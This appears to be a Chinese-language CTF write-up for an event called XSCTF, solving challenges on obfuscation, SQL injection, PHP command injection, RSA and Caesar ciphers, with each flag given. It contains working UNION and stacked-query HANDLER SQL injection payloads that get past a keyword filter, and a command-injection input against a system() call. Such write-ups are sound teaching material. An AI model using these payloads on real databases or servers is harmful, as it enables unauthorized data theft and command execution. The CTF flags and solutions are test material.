1 2 3 4 5 6 7 8 9 __ __ _____ _____ _______ ______ __ _____ _ _ _ _ ______ __ _ _ _ _ ___ __ ____ _ __ _ _ __ \ \ / / / ____| / ____| |__ __| | ____| / / /\ |_ _| (_) | | (_) | | | ____| /_ | | || | | | (_) / _ \ / _| / __ \ | | / _| | | (_) \ \ \ V / | (___ | | | | | |__ | | / \ _ __ | | _ __ _ | |_ _ __ _ | | | |__ __ __ _ __ | | ___ _ __ | || |_ | |_ _ | | | | _ __ ___ | |_ | | | | | |__ | |_ _ _ ___ ___ __ _ | |_ _ ___ _ __ | | > < \___ \ | | | | | __| / / / /\ \ | '_ \ | | | '_ \ | | | __| | | / _` | | | | __| \ \/ / | '_ \ | | / _ \ | '__| |__ _| | __| | | | | | | | '_ \ / _ \ | _| | | | | | '_ \ | _| | | | | / __| / __| / _` | | __| | | / _ \ | '_ \ \ \ / . \ ____) | | |____ | | | | \ \ / ____ \ | | | | _| |_ | | | | | | | |_ | | | (_| | | | | |____ > < | |_) | | | | (_) | | | | | | |_ | | | |_| | | | | | | (_) | | | | |__| | | |_) | | | | |_| | \__ \ | (__ | (_| | | |_ | | | (_) | | | | | / / /_/ \_\ |_____/ \_____| |_| |_| | | /_/ \_\ |_| |_| |_____| |_| |_| |_| \__| |_| \__,_| |_| |______| /_/\_\ | .__/ |_| \___/ |_| |_| \__| |_| \___/ |_| |_| \___/ |_| \____/ |_.__/ |_| \__,_| |___/ \___| \__,_| \__| |_| \___/ |_| |_| | | \_\ ______ ______ | | ______ ______ /_/ |______| |______| |_| |______| |______|
拉伸一下就可以看到flag(换成不会自动换行的文本编辑软件,如notepad++)
XSCTF{An_Initial_Exp1or4ti0n_of_Obfuscation}
saveSaofe1a_partA 考sql注入 测试一下发现是字符型查询,并且存在联合注入
首先查询当前数据库
然后查询该数据库下的表
然后查询表下的字段
根据题目提示,逐个翻表
1 2 3 4 5 6 -1' union select database (),2 ,3 ,4 -1 ' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=' student'# -1' union select group_concat (column_name),2 ,3 ,4 from information_schema.columns where table_name='class1' -1 ' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class1# -1' union select group_concat (id ),group_concat (name ),group_concat (class ),group_concat (hobbies) from class2-1 ' union select group_concat(id),group_concat(name),group_concat(class),group_concat(hobbies) from class3#
XSCTF{Saofe1a_r3a11y_l0ve_xiaomei}
saveSaofe1a_partB 同样是sql注入 经过测试:让我想想除了insert、where、delete、select、drop、update和.你们大黑阔还有什么招
嘻嘻,想起来了,set、prepare、execute也不行哦
用handler可以查
1 -1';handler `2333` open ;handler `2333` read first ;handler `2333` close ;
如果不在第一条,但是题目又过滤了where关键字,可以使用limit
1 -1';handler `class3` open ;handler `class3` read first limit 30 ,1 ;handler `class3` close ;
XSCTF{Saofe1a_wAnt_a_9ir1fri3nd}
燕子不要走~ 1 2 3 4 5 6 7 8 9 10 function hello_shell ($cmd ) { system($cmd.">/dev/null 2>&1" ); } isset ($_GET['cmd' ]) ? hello_shell($_GET['cmd' ]) : null ; highlight_file(__FILE__ ); ?>
直接用分号隔开即可?cmd=cat /flag;
XSCTF{Yanz1_i_w1sh_y0u_hApp1neSs}
gift_RSA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import *from secret import flagm = bytes_to_long(flag) p = getStrongPrime(512 ) q = getStrongPrime(512 ) n = p*q e = 0x10001 phi = (p-1 )*(q-1 ) d = inverse(e, phi) gift = pow (m, d, n) print(f'n = {n} ' ) print(f'gift = {gift} ' ) """ n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117 gift = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308 """
根据公钥加密算法的特性,公私钥互换效果是一样的,这里用私钥加密(签名),就可以使用公钥解密(验证)
exp
1 2 3 4 5 6 7 from Crypto.Util.number import *e = 0x10001 c = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308 n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117 print(long_to_bytes(pow (c, e, n)))
XSCTF{H3re_i5_@_Gif7_f0r_y0u_From_Euler:)))))!}
你说你是凯撒大帝尊嘟假嘟啊 1 Öv0 0vo O.0 O_Ö Övo 0vo ov0 ovÖ o.Ö owÖ 0.o OwÖ o.O Ö.O O_0 o_Ö Ö_0 OwÖ Ov0 0wÖ Ö.Ö owO 0v0 o.O o.Ö Ö.0 o.0 ovO o.Ö Ö.o 0vo Ow0 Ö.Ö owo 0_0 0.0 o.Ö Ö.O O.0 O_0 o_O 0vÖ owo
尊嘟假嘟O.o (zdjd.vercel.app)
解密之后凯撒爆破
XSCTF{gr3at_y0u_aRe_reA1_CaesAr}